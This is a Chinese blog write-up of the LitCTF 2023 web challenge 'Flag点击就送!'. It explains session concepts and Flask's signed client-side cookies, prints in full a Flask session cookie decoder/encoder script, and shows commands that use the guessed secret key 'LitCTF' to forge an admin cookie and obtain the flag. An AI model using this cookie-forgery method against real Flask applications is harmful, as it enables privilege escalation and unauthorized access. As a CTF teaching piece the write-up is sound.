[LitCTF 2023]Flag点击就送!--session伪造

【python】Flask之session使用_python flask session-CSDN博客

[LitCTF 2023]Flag点击就送!(cookie伪造)_[litctf 2023]flag点击就送!-CSDN博客

[LitCTF 2023]Flag点击就送!

打开环境,输入1看一下


继续点击拿flag

他提示只有管理员才能拿到flag

 输入admin看一下

还是不行,但是我们在cookie里发现了东西:

session=eyJuYW1lIjoiMSJ9.Zh966A.NxRd8ILBNVdX5EZWUDtMS0J7vrQ

想到了session伪造

知识点

关于session

session是计算机科学中的一个重要概念,通常用于描述客户端与服务器之间的交互过程。在网络应用程序中,会话通常用来跟踪用户在一段时间内的活动状态。

在Web开发中,会话通常指的是服务器上存储的关于特定用户会话状态的信息。这些信息可以包括用户的登录状态、购物车内容、个性化设置等。会话通过使用会话标识符来区分不同的用户,这个标识符通常是通过cookie或URL参数来传递的。

session可以存储在服务器的内存中、数据库中或者是文件系统中。一般来说,会话数据的存储位置会根据应用程序的需求和性能要求来确定。

使用session能够使得应用程序在用户交互过程中保持状态,并且可以实现用户认证、授权、跟踪用户活动等功能。但是需要注意的是,会话数据的安全性是非常重要的,特别是涉及到用户隐私信息的存储和传输时,需要采取适当的安全措施来保护用户数据的安全。

session的作用主要包括以下几个方面:

1. 用户身份认证和授权管理:会话可以用于跟踪用户的登录状态,确保用户在访问受限资源时能够被正确认证和授权。通过会话,服务器可以知道用户是否已经登录,以及用户拥有的权限是什么。

2. 状态管理:会话可以用来跟踪用户在应用程序中的活动状态。例如,购物车中的商品、表单中已填写的数据等都可以存储在会话中,以便用户在浏览不同页面时保持一致的状态。

3. 个性化设置:应用程序可以根据用户的偏好和历史行为来提供个性化的服务。通过会话,可以存储用户的偏好设置,以便在用户下次访问时能够提供相应的个性化体验。

4. 跟踪用户活动:通过记录会话信息,可以了解用户在应用程序中的行为和活动轨迹。这对于分析用户行为、优化用户体验以及改进产品功能都是非常有价值的。

5. 安全性:在某些情况下,会话可以增强应用程序的安全性。例如,可以使用会话令牌来防止跨站请求伪造(CSRF)攻击,或者使用会话来限制用户的登录尝试次数以防止暴力破解密码。

总的来说,会话在Web应用程序中扮演着非常重要的角色,可以帮助应用程序管理用户状态、提供个性化服务、跟踪用户活动等,从而提升用户体验和应用程序的安全性。

由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息。

 关于session伪造:

session伪造是一种网络攻击技术,攻击者通过各种手段获取合法用户的会话标识符,然后利用这些标识符来冒充合法用户与服务器进行通信。这种攻击通常用于获取用户的权限、窃取用户的个人信息,或者执行其他恶意操作。

 session伪造攻击是一种非常流行的针对session的攻击方式.它之所以流行的主要原因是:它是一个攻击者获得一个有效的SESSION ID(标识符)最简单的方法,使用这种方法,可以模仿当前用户的SESSION ID,伪装成这个用户,然后进一步进行SESSION劫持攻击。

会话伪造的主要方式包括:

  1. 会话劫持(Session Hijacking): 攻击者通过监视网络流量或其他手段获取合法用户的会话标识符,然后利用这些标识符来伪装成合法用户与服务器进行通信。这可能涉及到拦截网络通信、窃取cookie等手段。

  2. 会话固定(Session Fixation): 攻击者通过在用户登录之前或之后植入会话标识符,使得用户最终使用的会话标识符与攻击者控制的会话标识符相同。这样一来,攻击者可以使用控制的会话标识符来伪装成用户与服务器进行通信。

  3. 会话劫持工具: 攻击者利用特殊软件或工具来获取、修改或注入会话标识符,以执行会话伪造攻击。这些工具通常包括网络抓包工具、代理服务器、Cookie编辑器等。

根据题目给了提示,这题的web框架为flask框架

关于flask框架中session的存储方式:

flask session的储存方式:

第一种方式:直接存在客户端的cookies中

第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库,flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。

flask框架的session若存储在客户端,就需要解决session被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改。

flask的session格式:

flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) 、时间戳 、签名组成的。

继续做题

我们使用脚本对session进行解密

import sys
import zlib
from itsdangerous import base64_decode
import ast
 
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod
 
# Lib for argument parsing
import argparse
 
# external Imports
from flask.sessions import SecureCookieSessionInterface
 
 
class MockApp(object):
 
    def __init__(self, secret_key):
        self.secret_key = secret_key
 
 
if sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else:  # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
 
if __name__ == "__main__":
    # Args are only relevant for __main__ usage
 
    ## Description for help
    parser = argparse.ArgumentParser(
        description='Flask Session Cookie Decoder/Encoder',
        epilog="Author : Wilson Sumanang, Alexandre ZANNI")
 
    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
 
    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                               help='Session cookie structure', required=True)
 
    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                               help='Session cookie value', required=True)
 
    ## get args
    args = parser.parse_args()
 
    ## find the option chosen
    if (args.subcommand == 'encode'):
        if (args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif (args.subcommand == 'decode'):
        if (args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value, args.secret_key))
        elif (args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

脚本使用方法:
解密:python session.py decode -s "secret_key" -c "需要解密的session值"
加密:python session.py encode -s "secret_key" -t "需要加密的session值"

这儿看了大佬们的WP发现他们都是盲猜的secret_key,哈哈 secret_key为LitCTF

在kali里使用脚本

python session.py decode -s "LitCTF" -c "eyJuYW1lIjoiMSJ9.Zh966A.NxRd8ILBNVdX5EZWUDtMS0J7vrQ"

 解密得到{'name':'1'},这种输出格式是json格式存储

关于json格式存储:

因为说了只有管理员才能得到flag,那我们将name伪造为admin,再进行加密

python session.py encode -s "LitCTF" -t '{"name":"admin"}'

得到

eyJuYW1lIjoiYWRtaW4ifQ.Zh-DXA.4K0tFAjzfBu8ikDQVcKLO52ObwM

然后打开hackbar将我们伪造的session传上去,拿到flag

  • 21
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值